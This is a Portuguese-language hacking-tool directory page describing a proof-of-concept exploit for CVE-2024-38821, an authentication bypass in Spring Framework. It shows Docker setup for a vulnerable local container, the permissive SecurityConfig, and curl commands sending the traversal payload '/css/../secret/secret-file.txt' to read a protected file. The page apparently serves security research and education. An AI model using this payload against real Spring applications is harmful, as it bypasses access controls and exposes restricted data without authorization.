Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-38821-POC — Exploit de prova de conceito para CVE-2024-38821, demonstrando bypass de autenticação no Spring Framework via path traversal para acessar recursos restritos. | Kitploit
Ferramentas/GitHubGitHub/masa42/cve-2024-38821-poc
Autenticação e AutorizaçãoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubmasa42/cve-2024-38821-poc

CVE-2024-38821-POC

Exploit de prova de conceito para CVE-2024-38821, demonstrando bypass de autenticação no Spring Framework via path traversal para acessar recursos restritos.

Ver Repositório
124há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-38821: Prova de Conceito (PoC): Bypass de Autenticação no Spring Framework

Esta é uma prova de conceito para a vulnerabilidade CVE-2024-38821

Etapas de Execução

  1. Construa a imagem Docker (Spring Boot 3.3.4, baseada no Spring Framework 6.1.13)

    root@kitploit:~
    cd vuln
    docker build -t cve-2024-38821-poc .
    
  2. Execute o contêiner e exponha a porta 8080 para a máquina host

    root@kitploit:~
    docker run -d -p 8080:8080 --name cve-2024-38821-poc cve-2024-38821-poc
    
  3. Execute o seguinte comando para executar o PoC e confirmar a vulnerabilidade

    root@kitploit:~
    curl -v --path-as-is "http://localhost:8080/secret/secret-file.txt" # Expected: 302 response (login required)
    curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt" # Expected: 200 response (bypassed authentication)
    

    Se o ataque for bem-sucedido, a resposta exibirá: This is a secret file.

Explicação

  1. Crie o SecurityConfig.java para configurar as permissões de acesso:

    • Permitir acesso não autenticado a caminhos sob /css/.
    • Exigir autenticação para caminhos sob /secret/.
    root@kitploit:~
    public SecurityWebFilterChain securityWebFilterChain(ServerHttpSecurity http) {
        return http
            .authorizeExchange(exchange -> exchange
                .pathMatchers("/css/**", "/").permitAll() // Static resources and the top page do not require authentication
                .pathMatchers("/secret/**").authenticated() // Authentication is required for the "secret" path
                .anyExchange().authenticated() // Authentication is required for all other paths
            )
            .formLogin().and() // Enable form-based authentication
            .build();
    }
    
  2. Crie o seguinte payload. Como o payload começa com /css/, ele corresponde ao padrão de caminho permitido. Não começa com /secret/, portanto não corresponde ao padrão de caminho que requer autenticação:

    • Caminho: /css/../secret/secret-file.txt
  3. Use o seguinte comando curl para executar o PoC e verificar se o ataque foi bem-sucedido:

    root@kitploit:~
    # Note: The --path-as-is option is required to send the request without URL normalization.
    curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt"
    

Aviso Legal

Este PoC é fornecido para fins educacionais e de pesquisa em segurança. Antes de utilizá-lo em um sistema real, certifique-se de que a vulnerabilidade foi corrigida e que você possui autorização adequada. O autor não se responsabiliza por qualquer uso indevido deste código.

Baixar ferramenta

Se o ataque for bem-sucedido, a resposta exibirá: This is a secret file.